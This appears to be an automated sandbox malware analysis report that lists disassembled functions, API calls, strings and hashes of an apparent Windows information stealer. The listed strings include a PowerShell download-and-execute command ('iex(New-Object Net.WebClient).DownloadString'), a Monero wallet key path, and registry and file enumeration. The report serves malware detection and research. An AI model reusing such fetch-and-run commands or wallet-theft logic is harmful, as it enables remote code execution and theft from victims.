GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00474FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00474FD1
InternetOpenA.WININET(00490DDF,00000000,00000000,00000000,00000000), ref: 00474FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00475011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00475041
InternetCloseHandle.WININET(?), ref: 004750B9
InternetCloseHandle.WININET(?), ref: 004750C6

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: cbebec856c6ac5910dbd3ff9b71651d0695859041450f3900cddc68b69c2c9cf
Instruction ID: 893dffae372fd35bb64f4ac6a07337d94abbb8ea5ad644568fc4406c5370838e
Opcode Fuzzy Hash: cbebec856c6ac5910dbd3ff9b71651d0695859041450f3900cddc68b69c2c9cf
Instruction Fuzzy Hash: D5310CF4A00218ABDB20DF54DC85BDDB7B5EB48704F1081D9E709A7280DBB46AC58F99

Function 004883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00488426
wsprintfA.USER32 ref: 00488459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0048847B
RegCloseKey.ADVAPI32(00000000), ref: 0048848C
RegCloseKey.ADVAPI32(00000000), ref: 00488499

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

RegQueryValueExA.ADVAPI32(00000000,0123DF08,00000000,000F003F,?,00000400), ref: 004884EC
lstrlen.KERNEL32(?), ref: 00488501
RegQueryValueExA.ADVAPI32(00000000,0123DE48,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00490B34), ref: 00488599
RegCloseKey.ADVAPI32(00000000), ref: 00488608
RegCloseKey.ADVAPI32(00000000), ref: 0048861A

Strings

%s\%s, xrefs: 0048844D

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 1d52065d468d222c957083567478b59cd4314c2bfaceac6b4d103622a158270a
Instruction ID: 6d1365e725eee16cb296ad9eb85e26d83ed815e76535cda21552f88502ac1d58
Opcode Fuzzy Hash: 1d52065d468d222c957083567478b59cd4314c2bfaceac6b4d103622a158270a
Instruction Fuzzy Hash: 49210AB1900218ABDB24DB54DC85FE9B3B9FB48700F40C699E609A6140DF75AAC5CFE4

Function 00487690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004876A4
RtlAllocateHeap.NTDLL(00000000), ref: 004876AB
RegOpenKeyExA.ADVAPI32(80000002,0122C508,00000000,00020119,00000000), ref: 004876DD
RegQueryValueExA.ADVAPI32(00000000,0123DF98,00000000,00000000,?,000000FF), ref: 004876FE
RegCloseKey.ADVAPI32(00000000), ref: 00487708

Strings

Windows 11, xrefs: 004876BD

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 442ed9b9e9e67b0b570d7976dffb15ac1a32fa098341c7335b30754d16b6c4ac
Instruction ID: d2e7bce008f2e405159aa3bde3488c491959fb1cdaa35e5bb475f6e284342a14
Opcode Fuzzy Hash: 442ed9b9e9e67b0b570d7976dffb15ac1a32fa098341c7335b30754d16b6c4ac
Instruction Fuzzy Hash: D101A2F8A04304BFDB00EBE0DD59F6EB7B9EB48700F104655FA05D7291EA74A980CB55

Function 00487720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00487734
RtlAllocateHeap.NTDLL(00000000), ref: 0048773B
RegOpenKeyExA.ADVAPI32(80000002,0122C508,00000000,00020119,004876B9), ref: 0048775B
RegQueryValueExA.ADVAPI32(004876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0048777A
RegCloseKey.ADVAPI32(004876B9), ref: 00487784

Strings

CurrentBuildNumber, xrefs: 00487771

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: c4a599c38dcaeef2a59b3c79f24eec2f0fb8db02b6db598fbac6f117439dcbc0
Instruction ID: 3b8668429cc0a394c23ff978b59a21bc33056484ef53db96f1a160ee800f1571
Opcode Fuzzy Hash: c4a599c38dcaeef2a59b3c79f24eec2f0fb8db02b6db598fbac6f117439dcbc0
Instruction Fuzzy Hash: 390117F9A40308BFDB00DFE4DC49FAEB7B9EB44705F104659FA05A7281DA745540CB55

Function 004892E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:H,80000000,00000003,00000000,00000003,00000080,00000000,?,00483AEE,?), ref: 004892FC
GetFileSizeEx.KERNEL32(000000FF,:H), ref: 00489319
CloseHandle.KERNEL32(000000FF), ref: 00489327

Strings

:H, xrefs: 00489311, 0048933D, 00489314
:H, xrefs: 004892F8, 004892FB

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :H$:H
API String ID: 1378416451-2582992418
Opcode ID: bda397af67583db6e3de5d6453b002127e45ac22a63408c4a056109f8d1084e1
Instruction ID: 05ad29bb4ad390bdae663519d14aaaa6481c414137e95920f806c2d03df9155d
Opcode Fuzzy Hash: bda397af67583db6e3de5d6453b002127e45ac22a63408c4a056109f8d1084e1
Instruction Fuzzy Hash: D3F03179E44204BBDB10DFF4DC45B9E77B9AB48710F108654B951A72C0DA749A418B45

Function 004799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00479A11
LocalAlloc.KERNEL32(00000040,?), ref: 00479A31
ReadFile.KERNEL32(000000FF,?,00000000,0047148F,00000000), ref: 00479A5A
LocalFree.KERNEL32(0047148F), ref: 00479A90
CloseHandle.KERNEL32(000000FF), ref: 00479A9A

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 66008b071b6194975339f42e17d5fecb39c2fb2b4cd9b68048b0d0bdf50fa993
Instruction ID: e650c839876b6a824f6c435b2c9bcfaa3539d902a7f2b62aedde137387db8f00
Opcode Fuzzy Hash: 66008b071b6194975339f42e17d5fecb39c2fb2b4cd9b68048b0d0bdf50fa993
Instruction Fuzzy Hash: 5731F3B4A00209EFDB14DFA4C885BEE77B9FF48310F108159E905A7390D778AA81CFA5

Function 00484780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0123E370), ref: 004847DB

Part of subcall function 00488DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00488E0B

lstrcat.KERNEL32(?,00000000), ref: 00484801
lstrcat.KERNEL32(?,?), ref: 00484820
lstrcat.KERNEL32(?,?), ref: 00484834
lstrcat.KERNEL32(?,0122B7C8), ref: 00484847
lstrcat.KERNEL32(?,?), ref: 0048485B
lstrcat.KERNEL32(?,0123D5E0), ref: 0048486F

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 00488D90: GetFileAttributesA.KERNEL32(00000000,?,00471B54,?,?,0049564C,?,?,00490E1F), ref: 00488D9F

Part of subcall function 00484570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00484580
Part of subcall function 00484570: RtlAllocateHeap.NTDLL(00000000), ref: 00484587
Part of subcall function 00484570: wsprintfA.USER32 ref: 004845A6
Part of subcall function 00484570: FindFirstFileA.KERNEL32(?,?), ref: 004845BD

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 71f39181dd346d1576259280032853e68151b54b0bf547d75706677907b8bdb3
Instruction ID: 88c901e6a310bb55aa2c28cd222cc140c3c08222040f05a88a23c4d49be9ab44
Opcode Fuzzy Hash: 71f39181dd346d1576259280032853e68151b54b0bf547d75706677907b8bdb3
Instruction Fuzzy Hash: 343162F290020867CB15FBB0DC85EED737DAB58704F40498EB31996091EEB897C9CB99

Function 00482C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

ShellExecuteEx.SHELL32(0000003C), ref: 00482D85

Strings

<, xrefs: 00482D39
')", xrefs: 00482CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00482CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00482D04

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c418c491b281641586fed287784b349a63fe2ee70b7dfe1dea5b3d57aefd0a3b
Instruction ID: c4c91a9559a0f6b8f68e0d410487a6368f543847ff02eb1baea553f9bb7ae2cf
Opcode Fuzzy Hash: c418c491b281641586fed287784b349a63fe2ee70b7dfe1dea5b3d57aefd0a3b
Instruction Fuzzy Hash: 9041D271C101089AEB14FBA1C891BDDBB74AF10304F50496FE116B6191DFBC6A5ACFA9

Function 00479E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00479F41

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Strings

v10, xrefs: 00479EA3
v20, xrefs: 00479E21
ERROR_RUN_EXTRACTOR, xrefs: 00479E67
@, xrefs: 00479EF1

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 8801dc95ad90ccebb616d518643c663084db372c3f01567a11cd8a71615912a6
Instruction ID: 6c3e8f3df84a1a876bde7f14585e1aba85a190e5601eb19cb8303ed41722e5ed
Opcode Fuzzy Hash: 8801dc95ad90ccebb616d518643c663084db372c3f01567a11cd8a71615912a6
Instruction Fuzzy Hash: 81615270900248AFDB14FFA5CC95FED7775AF44304F00841AF90A5B191EBBC6A15CB56

Function 004840B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0123D880,00000000,00020119,?), ref: 004840F4
RegQueryValueExA.ADVAPI32(?,0123E3B8,00000000,00000000,00000000,000000FF), ref: 00484118
RegCloseKey.ADVAPI32(?), ref: 00484122
lstrcat.KERNEL32(?,00000000), ref: 00484147
lstrcat.KERNEL32(?,0123E130), ref: 0048415B

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: ff825339333d0afb8825567ccc9b01b68fa380ec3792336978026a6f49de6ee9
Instruction ID: 6f4dea2adf1394992b6cb75e4aa6c1249e345dfb928b5e8d6b408592f2409ff4
Opcode Fuzzy Hash: ff825339333d0afb8825567ccc9b01b68fa380ec3792336978026a6f49de6ee9
Instruction Fuzzy Hash: 774187B6D001087BDB14FBE0DC46FFE737DAB88304F408A5DB61956181EA795BC88B92

Function 00487E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00487E37
RtlAllocateHeap.NTDLL(00000000), ref: 00487E3E
RegOpenKeyExA.ADVAPI32(80000002,0122C540,00000000,00020119,?), ref: 00487E5E
RegQueryValueExA.ADVAPI32(?,0123D960,00000000,00000000,000000FF,000000FF), ref: 00487E7F
RegCloseKey.ADVAPI32(?), ref: 00487E92

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
